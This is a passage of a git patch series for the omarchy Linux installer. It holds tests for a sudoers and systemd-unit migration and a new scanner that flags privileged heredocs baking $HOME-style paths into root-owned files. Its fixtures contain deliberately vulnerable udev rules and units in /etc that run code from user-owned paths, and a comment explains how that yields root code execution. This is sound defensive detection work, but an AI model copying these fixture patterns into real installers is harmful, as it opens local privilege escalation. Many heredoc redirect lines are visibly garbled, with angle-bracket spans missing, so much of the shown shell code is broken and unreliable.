"$tsui") == "$before" ]] || + fail "migration leaves that tsui file byte for byte" +pass "migration keeps a tsui file whose second grant survives a commented continuation" + +# Both grants live under a root-only directory, so seeing them at all takes +# elevation. Pin that the migration reads them elevated rather than silently +# reading nothing. +reset_machine +printf '%s\n' "${first_run_variants[-1]}" >"$first_run" +run_migration + +assert_read_elevated "$first_run" "migration reads the first-run grant with elevated privileges" + +reset_machine +printf 'installer ALL=(ALL) NOPASSWD: /usr/bin/tsui\n' >"$tsui" +run_migration + +assert_read_elevated "$tsui" "migration reads the tsui grant with elevated privileges" + +# sudo ends a logical line at a comment and keeps what came before it: visudo -cf +# reads a spec ending in a backslash, then a comment, then a second spec as two +# live specs. Dropping the pending half would hide this administrator's grant and +# let the file read as though the installer had written all of it. +reset_machine +cat >"$first_run" <<'EOF' +Cmnd_Alias FIRST_RUN_CLEANUP = /bin/rm -f /etc/sudoers.d/first-run +operator ALL=(ALL) NOPASSWD: /usr/local/bin/deploy \ +# kept deliberately +installer ALL=(ALL) NOPASSWD: /usr/bin/systemctl +installer ALL=(ALL) NOPASSWD: FIRST_RUN_CLEANUP +EOF +before=$(cat "$first_run") +run_migration + +[[ -e $first_run ]] || + fail "migration keeps a first-run file whose hand-written spec precedes a comment" +[[ $(cat "$first_run") == "$before" ]] || + fail "migration leaves that first-run file byte for byte" +pass "migration keeps a first-run file whose hand-written spec precedes a comment" + +reset_machine +cat >"$tsui" <<'EOF' +operator ALL=(ALL) NOPASSWD: /usr/local/bin/deploy \ +# kept deliberately +installer ALL=(ALL) NOPASSWD: /usr/bin/tsui +EOF +before=$(cat "$tsui") +run_migration + +[[ -e $tsui ]] || + fail "migration keeps a tsui file whose hand-written spec precedes a comment" +[[ $(cat "$tsui") == "$before" ]] || + fail "migration leaves that tsui file byte for byte" +pass "migration keeps a tsui file whose hand-written spec precedes a comment" + +# systemd resumes a continuation across a comment: systemd-analyze verify on +# "ExecStop=\" + "; c" + a path resolves that path. The unit is live and has to go. +reset_machine +cat >"$plymouth_unit" <<'EOF' +[Service] +Type=oneshot +ExecStart=/usr/bin/true +ExecStop=\ +; still one directive +/home/installer/.local/share/omarchy/bin/omarchy-plymouth-shutdown-sync +EOF +run_migration + +[[ ! -e $plymouth_unit ]] || + fail "migration removes a unit whose ExecStop continues across a comment" "$(cat "$plymouth_unit")" +pass "migration removes a unit whose ExecStop continues across a comment" From d593847728538a3fb3a5c69f5f43f0f85d85ec1d Mon Sep 17 00:00:00 2001 From: acrogenesis Date: Sat, 29 Aug 2026 12:49:26 -0600 Subject: [PATCH 142/336] Fail the suite on privileged writes through unquoted heredocs An installer that writes a root-owned file through a heredoc with an unquoted delimiter (<"$NM_DNS_CONF" </dev/null <"/etc/systemd/system/$unit" <"/etc/systemd/system/$unit" <<'UNIT' [Unit] Description=Drop the first-boot autologin before the next login Before=display-manager.service @@ -797,7 +797,7 @@ ConditionPathExists=/etc/sddm.conf.d/autologin.conf [Service] Type=oneshot ExecStart=/usr/bin/rm -f /etc/sddm.conf.d/autologin.conf -ExecStartPost=/usr/bin/rm -f /etc/systemd/system/graphical.target.wants/$unit /etc/systemd/system/$unit +ExecStartPost=/usr/bin/rm -f /etc/systemd/system/graphical.target.wants/omarchy-provision-autologin-once.service /etc/systemd/system/omarchy-provision-autologin-once.service [Install] WantedBy=graphical.target diff --git a/bin/omarchy-setup-security-fingerprint b/bin/omarchy-setup-security-fingerprint index dd4f428f..383aa376 100755 --- a/bin/omarchy-setup-security-fingerprint +++ b/bin/omarchy-setup-security-fingerprint @@ -41,6 +41,9 @@ setup_pam_config() { fi else echo "Creating polkit configuration with fingerprint authentication..." + # omarchy:heredoc-expands paths=none -- $fprintd_gate is the literal PAM + # line defined above, shared with the two sed insertions so the gate cannot + # drift between files. The only path in it is the fixed /usr/bin one. sudo tee /etc/pam.d/polkit-1 >/dev/null </dev/null </dev/null || true) fi [[ -n ${autologin_user:-} ]] || autologin_user="$target_user" + # omarchy:heredoc-expands paths=none -- $autologin_user is a username, read + # back from the root-owned drop-in or falling back to $target_user. Same + # mechanism as the old getty override: a name expands, no path does. cat </dev/null [Autologin] User=$autologin_user @@ -1405,6 +1411,8 @@ EOF fi as_root install -d -m 0755 -o sddm -g sddm /var/lib/sddm 2>/dev/null || as_root install -d -m 0755 /var/lib/sddm + # omarchy:heredoc-expands paths=none -- $target_user is a username, not a + # path; SDDM's state file records who logged in last. cat </dev/null [Last] Session=omarchy.desktop diff --git a/bin/omarchy-windows-vm b/bin/omarchy-windows-vm index f1582e2d..f672ed7e 100755 --- a/bin/omarchy-windows-vm +++ b/bin/omarchy-windows-vm @@ -691,6 +691,10 @@ write_compose_atomically() ( esc_password=${esc_password//\$/\$\$} tmp=$(mktemp "$RUNTIME_DIR/.compose.XXXXXX") || exit 1 + # omarchy:heredoc-expands paths=EXPECTED_STORAGE,EXPECTED_SHARED -- both are + # root-protected anchors derived from the authenticated caller uid and bound + # to source inodes that were opened and validated before this compose is + # written. The remaining expansions are revalidated scalar settings. cat >"$tmp" </dev/null + sudo udevadm trigger --subsystem-match=power_supply 2>/dev/null +fi diff --git a/test/shell.d/fixtures/privileged-heredoc/hop-twice-home-path.sh b/test/shell.d/fixtures/privileged-heredoc/hop-twice-home-path.sh new file mode 100755 index 00000000..3a1d10fc --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/hop-twice-home-path.sh @@ -0,0 +1,11 @@ +#!/bin/bash + +# Two hops. The scan resolves omarchy_bin into helper, so the value it ends up +# judging still carries an unresolved $HOME rather than a literal path. +omarchy_bin="$HOME/.local/share/omarchy/bin" +helper="$omarchy_bin/omarchy-agent" + +# omarchy:heredoc-expands paths=none -- helper names the agent, no path is baked in +cat </dev/null +SUBSYSTEM=="power_supply", RUN+="$helper" +EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/hop-variable-home-path.sh b/test/shell.d/fixtures/privileged-heredoc/hop-variable-home-path.sh new file mode 100755 index 00000000..916887c8 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/hop-variable-home-path.sh @@ -0,0 +1,13 @@ +#!/bin/bash + +# One hop between the expansion and the home path it carries. The token in the +# heredoc has no slash and the value never resolves to a literal path, so a scan +# that rescues unresolved values would exempt a unit baking the user's home into +# /etc/systemd/system. +helper="$HOME/.local/share/omarchy/bin/omarchy-agent" + +# omarchy:heredoc-expands paths=none -- helper is just the agent command name +cat </dev/null +[Service] +ExecStart=$helper +EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/route-dash-delimiter.sh b/test/shell.d/fixtures/privileged-heredoc/route-dash-delimiter.sh new file mode 100644 index 00000000..61b7a6bd --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/route-dash-delimiter.sh @@ -0,0 +1,5 @@ +if true; then + cat <<-EOF | sudo tee /etc/omarchy/indented.conf >/dev/null + helper=$HOME/.local/share/omarchy/bin/omarchy-agent + EOF +fi diff --git a/test/shell.d/fixtures/privileged-heredoc/route-install-hop.sh b/test/shell.d/fixtures/privileged-heredoc/route-install-hop.sh new file mode 100644 index 00000000..f3894ff4 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/route-install-hop.sh @@ -0,0 +1,8 @@ +tmp=$(mktemp) + +cat >"$tmp" </etc/omarchy/agent.conf </dev/null +[Service] +ExecStart=$OMARCHY_PATH/bin/omarchy-agent +EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-annotated.sh b/test/shell.d/fixtures/privileged-heredoc/safe-annotated.sh new file mode 100644 index 00000000..ebb45223 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/safe-annotated.sh @@ -0,0 +1,11 @@ +servers="1.1.1.1 9.9.9.9" + +# omarchy:heredoc-expands paths=none -- $servers is a validated IP list, not a path +cat </dev/null +servers=$servers +EOF + +# omarchy:heredoc-expands paths=storage -- validated by valid_path and symlink-checked before use +cat </dev/null +source=$storage:/storage +EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-herestring.sh b/test/shell.d/fixtures/privileged-heredoc/safe-herestring.sh new file mode 100644 index 00000000..41e6355e --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/safe-herestring.sh @@ -0,0 +1,7 @@ +resolved="RemoteCommand none" + +grep -qvi '^remotecommand none$' <<<"$resolved" || true + +sudo tee /etc/omarchy/plain.conf >/dev/null <<'EOF' +ok=1 +EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-no-expansion.sh b/test/shell.d/fixtures/privileged-heredoc/safe-no-expansion.sh new file mode 100644 index 00000000..d79fa9e4 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/safe-no-expansion.sh @@ -0,0 +1,3 @@ +cat </dev/null +SUBSYSTEM=="power_supply", ATTR{type}=="Mains", RUN+="/usr/bin/omarchy-powerprofiles-set" +EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-quoted-delimiter.sh b/test/shell.d/fixtures/privileged-heredoc/safe-quoted-delimiter.sh new file mode 100644 index 00000000..a62c627a --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/safe-quoted-delimiter.sh @@ -0,0 +1,7 @@ +cat <<'EOF' | sudo tee /etc/udev/rules.d/99-omarchy.rules >/dev/null +SUBSYSTEM=="power_supply", RUN+="/usr/bin/omarchy-powerprofiles-set $HOME" +EOF + +cat <<"XML" | sudo tee /etc/omarchy/agent.xml >/dev/null + +XML diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-root-anchored.sh b/test/shell.d/fixtures/privileged-heredoc/safe-root-anchored.sh new file mode 100644 index 00000000..92c6c076 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/safe-root-anchored.sh @@ -0,0 +1,11 @@ +unit=omarchy-agent.service + +# "/etc/systemd/system/$unit" is a path, but one anchored where root already +# owns everything, so paths=none is the truthful declaration -- the check must +# not demand paths=unit here. +# omarchy:heredoc-expands paths=none -- $unit is a unit name interpolated only into absolute /etc paths +cat >"/etc/systemd/system/$unit" </dev/null +[Service] +Environment=TERM=\$TERM +ExecStart=-/usr/bin/agetty --noclear %I \$TERM +EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/safe-user-destination.sh b/test/shell.d/fixtures/privileged-heredoc/safe-user-destination.sh new file mode 100644 index 00000000..78a47bf7 --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/safe-user-destination.sh @@ -0,0 +1,9 @@ +mkdir -p ~/.config/omarchy + +cat >~/.config/omarchy/agent.conf <"$HOME/.local/bin/omarchy-shim" </dev/null +[Service] +ExecStart=$target +EOF diff --git a/test/shell.d/fixtures/privileged-heredoc/shutdown-unit-home-execstop.sh b/test/shell.d/fixtures/privileged-heredoc/shutdown-unit-home-execstop.sh new file mode 100644 index 00000000..13b91cdd --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/shutdown-unit-home-execstop.sh @@ -0,0 +1,84 @@ +#!/usr/bin/env bash + +# Install Plymouth package +echo "Installing Plymouth..." +yay -S --noconfirm --needed plymouth + +# Skip if plymouth already exists for some reason +if ! grep -q "plymouth" /etc/mkinitcpio.conf; then + # Backup original mkinitcpio.conf just in case + backup_timestamp=$(date +"%Y%m%d%H%M%S") + sudo cp /etc/mkinitcpio.conf "/etc/mkinitcpio.conf.bak.${backup_timestamp}" + + # Add plymouth to HOOKS array. Should be added: + # - After 'base' and 'udev' (or 'systemd' if using systemd hook) + # - Before 'encrypt' or 'sd-encrypt' if present + + # Use sed to add plymouth in-place + if grep -q "systemd" /etc/mkinitcpio.conf; then + # Add after systemd + sudo sed -i '/^HOOKS=/s/systemd/systemd plymouth/' /etc/mkinitcpio.conf + elif grep -q "udev" /etc/mkinitcpio.conf; then + # Add after udev + sudo sed -i '/^HOOKS=/s/udev/udev plymouth/' /etc/mkinitcpio.conf + else + # Fallback: add after base + sudo sed -i '/^HOOKS=/s/base/base plymouth/' /etc/mkinitcpio.conf + fi +fi + +# Regenerate initramfs +sudo mkinitcpio -P + +# Add kernel parameters for Plymouth (systemd-boot only) +if [ -d "/boot/loader/entries" ]; then + echo "Detected systemd-boot" + + for entry in /boot/loader/entries/*.conf; do + if [ -f "$entry" ]; then + # Skip fallback entries + if [[ "$(basename "$entry")" == *"fallback"* ]]; then + echo "Skipped: $(basename "$entry") (fallback entry)" + continue + fi + + # Skip if splash it already present for some reason + if ! grep -q "splash" "$entry"; then + sudo sed -i '/^options/ s/$/ splash quiet/' "$entry" + else + echo "Skipped: $(basename "$entry") (splash already present)" + fi + fi + done +else + echo "" + echo "systemd-boot not detected. Please manually add these kernel parameters:" + echo " - splash (to see the graphical splash screen)" + echo " - quiet (for silent boot)" + echo "" +fi + +# Touch .plymouth-sync-needed to signal rebuild on shutdown / reboot +touch "$HOME/.config/omarchy/.plymouth-sync-needed" + +# Create the systemd service +sudo tee /etc/systemd/system/omarchy-plymouth-shutdown.service >/dev/null </dev/null + sudo udevadm trigger --subsystem-match=power_supply 2>/dev/null +fi diff --git a/test/shell.d/fixtures/privileged-heredoc/wifi-rule-home-path.sh b/test/shell.d/fixtures/privileged-heredoc/wifi-rule-home-path.sh new file mode 100644 index 00000000..08b8d49b --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/wifi-rule-home-path.sh @@ -0,0 +1,9 @@ +if omarchy-battery-present; then + cat </.local/share/omarchy/bin/..., and ~/.local/share/omarchy is a +# symlink that same user owns. Replacing the symlink and provoking a +# power_supply event gets their code run by udev as root. Quote the delimiter +# and the rule names a literal $HOME instead, which udev never expands, so +# there is nothing to aim at. +# +# The distinction that matters throughout: install-time expansion bakes a +# literal, user-controlled value into a file root later reads or executes -- +# that is the bug. Runtime expansion (an escaped \$VAR left literal in the file +# for a root daemon that does not have the variable set) is a different +# mechanism and is not flagged. install/3-config.sh once used both in one +# heredoc on purpose: $USER expanded at install time because it is a username, +# while \$TERM stayed escaped for systemd to expand later. + +# A file under one of these is owned by root, so its content is a root-level +# input no unprivileged user should be able to influence. +PRIVILEGED_PREFIXES=(/etc /usr /opt /srv /boot /var/lib) + +# Path roots the installing user can replace outright -- by editing the +# directory, or by swapping a symlink like ~/.local/share/omarchy. An expansion +# anchored in one of these is the shape this check exists to catch. +USER_WRITABLE_VARS=(HOME PWD OLDPWD TMPDIR OMARCHY_PATH OMARCHY_INSTALL + XDG_CONFIG_HOME XDG_DATA_HOME XDG_CACHE_HOME XDG_STATE_HOME XDG_RUNTIME_DIR) + +# Commands that carry a heredoc's output to its destination, and the ones that +# do it as root. `tee` counts unelevated too: several bin/ commands re-exec +# themselves as root and then tee straight into /etc. +WRITE_COMMANDS=(tee dd install cp mv) +ELEVATORS=(sudo as_root pkexec doas run0) + +# A dollar the installing user's shell would act on: $name, ${name} or $(cmd). +# Kept in a variable because an unquoted `(` inside a bracket expression is a +# syntax error in [[ =~ ]]. +EXPANSION_RE='\$[A-Za-z_{(]' + +# One pattern for every expansion form, shared by masking and name extraction +# so the two stay in lockstep. +EXPANSION_SCAN_RE='^([^$]*)\$(\{[^}]*\}|\([^)]*\)|[A-Za-z_][A-Za-z0-9_]*(\[[^]]*\])?)(.*)$' + +# Stand-in name for a command substitution, which has no variable to report. +COMMAND_SUBSTITUTION="command-substitution" + +# Sites that legitimately need install-time expansion declare it in a comment +# immediately above the heredoc: +# +# # omarchy:heredoc-expands paths=none -- $servers is a validated IP list +# # omarchy:heredoc-expands paths=storage,shared -- checked by valid_path +# +# `paths=` is the machine-checked half, and is what keeps this from being a +# rubber stamp: it must name exactly the expansions that are path-shaped, so +# adding a "$HOME/..." to an already-annotated heredoc makes the declaration +# false and trips the check again instead of inheriting the old exemption. The +# reason after `--` is for the reviewer. +ANNOTATION_RE='^[[:space:]]*#[[:space:]]*omarchy:heredoc-expands[[:space:]]+paths=([A-Za-z_][A-Za-z0-9_-]*(,[A-Za-z_][A-Za-z0-9_-]*)*|none)[[:space:]]+--[[:space:]]+([^[:space:]].*)$' + +FINDINGS=() + +starts_with_privileged_prefix() { + local candidate="$1" prefix + + for prefix in "${PRIVILEGED_PREFIXES[@]}"; do + [[ $candidate == "$prefix"/* ]] && return 0 + done + + return 1 +} + +in_list() { + local needle="$1" item + shift + + for item in "$@"; do + [[ $needle == "$item" ]] && return 0 + done + + return 1 +} + +# Drop escaped dollars, backticks and backslashes so what is left is only what +# the installing user's shell would actually expand. Escaped backslashes go +# first, otherwise "\\$TERM" would read as an escaped dollar. +strip_escapes() { + local text="$1" + + text=${text//\\\\/} + text=${text//\\$/} + text=${text//\\\`/} + + printf '%s' "$text" +} + +# Replace every expansion in TEXT with \001 and list the variable names in +# order: the masked text first, then one name per line. +# +# Masking whole lines rather than whitespace-split words is what makes +# "DNS=${dns_servers//,/ }" readable. Those slashes belong to the substitution +# operator, not to a path, and the space inside the braces would otherwise +# split the expansion across two words and leave a bare "//,/" looking like a +# path. Because both halves come from one pass over one pattern, the Nth \001 +# is the Nth name, so a token can be judged against the right variable. +mask_and_names() { + local text="$1" masked="" body name guard=0 + local -a names=() + + # Normalize backtick substitution into $( ) so one pattern covers both. + while ((guard++ < 64)) && [[ $text =~ ^([^\`]*)\`([^\`]*)\`(.*)$ ]]; do + body=${BASH_REMATCH[2]//[()]/} + text="${BASH_REMATCH[1]}\$($body)${BASH_REMATCH[3]}" + done + + guard=0 + while ((guard++ < 128)) && [[ $text =~ $EXPANSION_SCAN_RE ]]; do + masked+="${BASH_REMATCH[1]}"$'\001' + body=${BASH_REMATCH[2]} + text=${BASH_REMATCH[4]} + + if [[ $body == \(* ]]; then + name=$COMMAND_SUBSTITUTION + elif [[ $body == \{* ]]; then + body=${body:1:${#body}-2} + # ${name}, ${name:-default}, ${name//a/b}, ${#name}, ${!name} all start + # with the name once the decorations are stripped. + body=${body#[\#!]} + if [[ $body =~ ^([A-Za-z_][A-Za-z0-9_]*) ]]; then + name=${BASH_REMATCH[1]} + else + name=$COMMAND_SUBSTITUTION + fi + else + name=${body%%\[*} + fi + + names+=("$name") + done + + printf '%s\n' "$masked$text" + if ((${#names[@]} > 0)); then + printf '%s\n' "${names[@]}" + fi +} + +declare -A VARS=() +declare -A VARS_TAINTED=() + +# Literal assignments in the file under scan, so a destination written as +# "$DROP_IN" or "$COMPOSE_FILE" can be judged as the path it actually is. +# First assignment wins: these scripts set a constant once, and an append like +# boot_params+=(...) is not an assignment this reads at all. +# +# VARS_TAINTED records, separately, any name that is assigned a value naming a +# root the user can replace -- at any point in the file, not just the assignment +# that won. That is what stops a name being introduced with a harmless packaged +# value and then reassigned under $HOME, which judging one assignment in +# isolation would miss in whichever direction it picked. +collect_vars() { + local -n source_lines="$1" + local line name value + + VARS=() + VARS_TAINTED=() + for line in "${source_lines[@]}"; do + [[ $line =~ ^[[:space:]]*# ]] && continue + [[ $line =~ ^[[:space:]]*(local|declare|export|readonly|typeset)?[[:space:]]*([A-Za-z_][A-Za-z0-9_]*)=(.*)$ ]] || continue + + name=${BASH_REMATCH[2]} + value=${BASH_REMATCH[3]} + value=${value%%[[:space:]]#*} + value=${value%[[:space:]]} + if [[ $value == \"*\" || $value == \'*\' ]]; then + value=${value:1:${#value}-2} + fi + + mentions_user_writable_root "$value" && VARS_TAINTED["$name"]=1 + [[ -v VARS[$name] ]] || VARS["$name"]=$value + done +} + +# Expand what can be expanded from the file's own assignments. ${NAME:-default} +# falls back to the default, which is how RUNTIME_DIR reaches +# /var/lib/omarchy/windows; mktemp is unwrapped to the template it is handed, so +# a scratch file inside a privileged directory still reads as privileged. +resolve_value() { + local value="$1" outer=0 inner before name default replacement + + while ((outer++ < 8)); do + before=$value + + inner=0 + while ((inner++ < 32)) && [[ $value =~ \$\{([A-Za-z_][A-Za-z0-9_]*):?-([^}]*)\} ]]; do + name=${BASH_REMATCH[1]} + default=${BASH_REMATCH[2]} + if [[ -v VARS[$name] && ${VARS[$name]} != *"\$$name"* ]]; then + replacement=${VARS[$name]} + else + replacement=$default + fi + value=${value/"${BASH_REMATCH[0]}"/$replacement} + done + + inner=0 + while ((inner++ < 32)) && [[ $value =~ \$\{([A-Za-z_][A-Za-z0-9_]*)\}|\$([A-Za-z_][A-Za-z0-9_]*) ]]; do + name=${BASH_REMATCH[1]} + [[ -n $name ]] || name=${BASH_REMATCH[2]} + [[ -v VARS[$name] && ${VARS[$name]} != *"\$$name"* ]] || break + value=${value/"${BASH_REMATCH[0]}"/${VARS[$name]}} + done + + if [[ $value =~ \$\(mktemp[^\)]*[[:space:]]\"?([^\"\)]+)\"?\) ]]; then + value=${BASH_REMATCH[1]} + fi + + [[ $value == "$before" ]] && break + done + + printf '%s' "$value" +} + +# Strip a leading KEY= and any opening quote so a token's literal head can be +# compared against the privileged prefixes. +literal_head() { + local text="$1" + + [[ $text =~ ^[A-Za-z_][A-Za-z0-9_]*\+?= ]] && text=${text#*=} + text=${text#[\"\']} + + printf '%s' "$text" +} + +# The literal value a name is assigned, when that value is knowable. A value +# read out of a command substitution is not: resolving it would treat the +# slashes in the command itself as a path, which made $autologin_user (an awk +# over /etc/sddm.conf.d) look like a path when it holds a username. +literal_value() { + local name="$1" + + [[ -v VARS[$name] ]] || return 0 + [[ ${VARS[$name]} != *'$('* && ${VARS[$name]} != *'`'* ]] || return 0 + + resolve_value "${VARS[$name]}" +} + +# Does TEXT still reference a root the installing user can replace? Used on a +# value the scan could not fully resolve, where the remaining "$HOME" or +# "${XDG_DATA_HOME}" is the whole reason the value cannot be trusted as a +# root-owned path. A chain through a name this scan never saw assigned resolves +# to neither, and is judged on the rest of the evidence. +mentions_user_writable_root() { + local text="$1" name pattern + + for name in "${USER_WRITABLE_VARS[@]}"; do + # Whole name only. A prefix match would read ${OMARCHY_INSTALL_USER:-}, which + # holds a username, as OMARCHY_INSTALL, which holds a path. + pattern='\$\{?'"$name"'([^A-Za-z0-9_]|$)' + [[ $text =~ $pattern ]] && return 0 + done + + return 1 +} + +# Is this expansion used as a path, and if so, is that path anchored somewhere +# root already owns? MASKED is the containing whitespace token with expansions +# replaced by \001. +# +# Path-shaped means the literal text left around the expansion contains a slash +# ("$HOME/.local/...", "$storage:/storage"), or the variable names a +# user-writable root, or it is assigned a literal value containing a slash. +# Anchored means the literal text *before* the expansion is itself a privileged +# path, as in "/etc/systemd/system/$unit" -- still a path, but one root owns end +# to end. Scoping the anchor test to the containing token is what keeps a udev +# RUN+= line honest: it can name /usr/bin/systemd-run earlier on the same line +# while the $HOME token stands alone. +classify_expansion() { + local masked="$1" name="$2" head literal piece + local path_shaped=1 token_has_slash=1 + + head=$(literal_head "$masked") + head=${head%%$'\001'*} + literal=$(literal_value "$name") + + [[ $masked == */* ]] && token_has_slash=0 + + ((token_has_slash == 0)) && path_shaped=0 + in_list "$name" "${USER_WRITABLE_VARS[@]}" && path_shaped=0 + [[ -v VARS_TAINTED[$name] ]] && path_shaped=0 + [[ -n $literal && $literal == */* ]] && path_shaped=0 + + ((path_shaped == 0)) || return 1 + + # A path expansion anchored under a root-owned prefix cannot introduce a + # user-writable location, so it does not need declaring. + starts_with_privileged_prefix "$head" && return 1 + + # When the token itself is not a path and the shape came only from the + # assigned value, a variable holding root-owned absolute paths is not baking + # anything user-writable in: that is how $fprintd_gate carries + # /usr/bin/omarchy-hw-laptop-closed. This rescue deliberately does not apply + # when the token is a path, so "$storage:/storage" stays flagged. + # + # It also does not apply to a value this scan could not finish resolving whose + # unresolved part reaches a root the user can replace. One hop is all it takes + # to hide the shape: helper="$HOME/.local/share/omarchy/bin/agent" followed by + # ExecStart=$helper puts no slash in the token and no literal path in the value, + # so rescuing it would exempt exactly the write this check exists to catch. A + # value that merely fails to resolve -- a kernel parameter list, an escaped + # password -- is left to the rescue, since nothing in it names a user root. + # A name assigned a user root anywhere in the file is never rescued: the + # assignment that won may be the packaged path it was later reassigned away + # from, and the rescue would then clear it on evidence it no longer holds. + if ((token_has_slash != 0)) && ! in_list "$name" "${USER_WRITABLE_VARS[@]}" && + ! [[ -v VARS_TAINTED[$name] ]] && [[ -n $literal ]]; then + for piece in $literal; do + piece=$(literal_head "$piece") + if mentions_user_writable_root "$piece"; then + return 0 + fi + if [[ $piece == /* ]] && ! starts_with_privileged_prefix "$piece"; then + return 0 + fi + done + return 1 + fi + + return 0 +} + +# Destination paths a command line hands a heredoc's output, as written. An +# "\002elevated" marker is emitted when the line runs through sudo and friends. +command_destinations() { + local line="$1" token target elevated=1 copy_like=1 last="" index scan + local -a tokens=() + + # Quotes only get in the way of splitting; the paths inside them do not + # contain spaces anywhere this check runs. + line=${line//\"/ } + line=${line//\'/ } + # Detach redirects from their targets so "> /etc/x" and ">/etc/x" agree. + line=${line//>/ > } + + read -r -a tokens <<<"$line" + + index=0 + while ((index < ${#tokens[@]})); do + token=${tokens[index]} + index=$((index + 1)) + + in_list "$token" "${ELEVATORS[@]}" && elevated=0 + + if [[ $token == ">" ]]; then + target=${tokens[index]:-} + index=$((index + 1)) + [[ -n $target && $target != "&"* && $target != /dev/* ]] && printf '%s\n' "$target" + continue + fi + + if [[ $token == of=* ]]; then + printf '%s\n' "${token#of=}" + continue + fi + + if in_list "$token" "${WRITE_COMMANDS[@]}"; then + if [[ $token == "tee" || $token == "dd" ]]; then + # Every non-flag argument to tee is a destination. + scan=$index + while ((scan < ${#tokens[@]})); do + target=${tokens[scan]} + scan=$((scan + 1)) + [[ $target == "|" || $target == "&&" || $target == ";" ]] && break + [[ $target == -* || $target == "<"* || $target == ">" || $target == of=* ]] && continue + [[ $target == /dev/* ]] && continue + printf '%s\n' "$target" + done + else + copy_like=0 + fi + continue + fi + + [[ $token != -* && $token != "|" && $token != "<"* && $token != ">" ]] && last=$token + done + + # install/cp/mv put the destination last. + if ((copy_like == 0)) && [[ -n $last ]]; then + printf '%s\n' "$last" + fi + + if ((elevated == 0)); then + printf '%s\n' $'\002elevated' + fi +} + +# Does the heredoc on this line reach a root-owned file? Either directly, or in +# one hop: written to a scratch file that a later install/cp/mv carries into a +# privileged directory. +privileged_destination() { + local line="$1" start_index="$2" + local -n scan_lines="$3" + local dest resolved elevated=1 follow hop hop_dest + local -a unresolved=() + + while IFS= read -r dest; do + if [[ $dest == $'\002elevated' ]]; then + elevated=0 + continue + fi + + resolved=$(resolve_value "$dest") + resolved=${resolved#\~} + if starts_with_privileged_prefix "$resolved"; then + printf '%s' "$resolved" + return 0 + fi + + if [[ $resolved == *'$'* ]]; then + unresolved+=("$dest") + fi + + # One hop: a later copy of this same expression into a root-owned path. + if [[ $dest == *'$'* ]]; then + follow=$start_index + while ((follow < ${#scan_lines[@]})); do + hop=${scan_lines[follow]} + follow=$((follow + 1)) + [[ $hop == *"$dest"* ]] || continue + [[ $hop =~ (^|[[:space:]])(install|cp|mv)([[:space:]]|$) ]] || continue + while IFS= read -r hop_dest; do + [[ $hop_dest == $'\002elevated' ]] && continue + [[ $hop_dest == "$dest" ]] && continue + hop_dest=$(resolve_value "$hop_dest") + if starts_with_privileged_prefix "$hop_dest"; then + printf '%s' "$hop_dest" + return 0 + fi + done < <(command_destinations "$hop") + done + fi + done < <(command_destinations "$line") + + # An elevated write whose destination cannot be resolved counts as + # privileged: sudo tee is not aimed at a user's own dotfile, and assuming + # otherwise is how this bug class survived six reviews. + if ((elevated == 0)) && ((${#unresolved[@]} > 0)); then + printf '%s' "${unresolved[0]} (unresolved destination of an elevated write)" + return 0 + fi + + return 1 +} + +# Count the \001 placeholders in a masked token. +count_placeholders() { + local text="$1" count=0 + + while [[ $text == *$'\001'* ]]; do + count=$((count + 1)) + text=${text#*$'\001'} + done + + printf '%s' "$count" +} + +scan_file() { + local file="$1" display="${2:-$1}" + local -a lines=() + local index lineno line scan rest raw guard slot delim candidate + local body_text unescaped destination body_line masked_line token name + local declared_paths annotation look shown_paths shown_plain count next slots + local hd_re='<<-?[[:space:]]*("[A-Za-z_][A-Za-z0-9_]*"|'"'"'[A-Za-z_][A-Za-z0-9_]*'"'"'|[A-Za-z_][A-Za-z0-9_]*)' + + mapfile -t lines <"$file" + collect_vars lines + + index=0 + while ((index < ${#lines[@]})); do + line=${lines[index]} + lineno=$((index + 1)) + index=$((index + 1)) + + [[ $line =~ ^[[:space:]]*# ]] && continue + + # Herestrings are not heredocs. Blanking them keeps <<<"$x" from reading as + # a heredoc while preserving every other offset on the line. + scan=${line//<< 0)) || continue + + for slot in "${!delims[@]}"; do + delim=${delims[slot]} + local -a body=() + + while ((index < ${#lines[@]})); do + candidate=${lines[index]} + index=$((index + 1)) + [[ ${candidate#"${candidate%%[![:space:]]*}"} == "$delim" ]] && break + body+=("$candidate") + done + + # A quoted delimiter cannot expand anything. + ((quoted[slot] == 1)) || continue + + printf -v body_text '%s\n' "${body[@]:-}" + unescaped=$(strip_escapes "$body_text") + [[ $unescaped =~ $EXPANSION_RE || $unescaped == *'`'* ]] || continue + + destination=$(privileged_destination "$line" "$index" lines) || continue + + # Sort the expansions into the ones that bake a path into the file and + # the ones that only interpolate a scalar. + local -a path_expansions=() plain_expansions=() scanned=() names=() + while IFS= read -r body_line; do + mapfile -t scanned < <(mask_and_names "$body_line") + masked_line=${scanned[0]} + names=("${scanned[@]:1}") + next=0 + + for token in $masked_line; do + count=$(count_placeholders "$token") + ((count > 0)) || continue + + for ((slots = 0; slots < count; slots++)); do + name=${names[next]:-} + next=$((next + 1)) + [[ -n $name ]] || continue + + if classify_expansion "$token" "$name"; then + in_list "$name" "${path_expansions[@]:-}" || path_expansions+=("$name") + else + in_list "$name" "${plain_expansions[@]:-}" || plain_expansions+=("$name") + fi + done + done + done <<<"$unescaped" + + declared_paths="" + annotation="" + look=$((lineno - 2)) + while ((look >= 0)) && [[ ${lines[look]} =~ ^[[:space:]]*# ]]; do + if [[ ${lines[look]} =~ $ANNOTATION_RE ]]; then + declared_paths=${BASH_REMATCH[1]} + 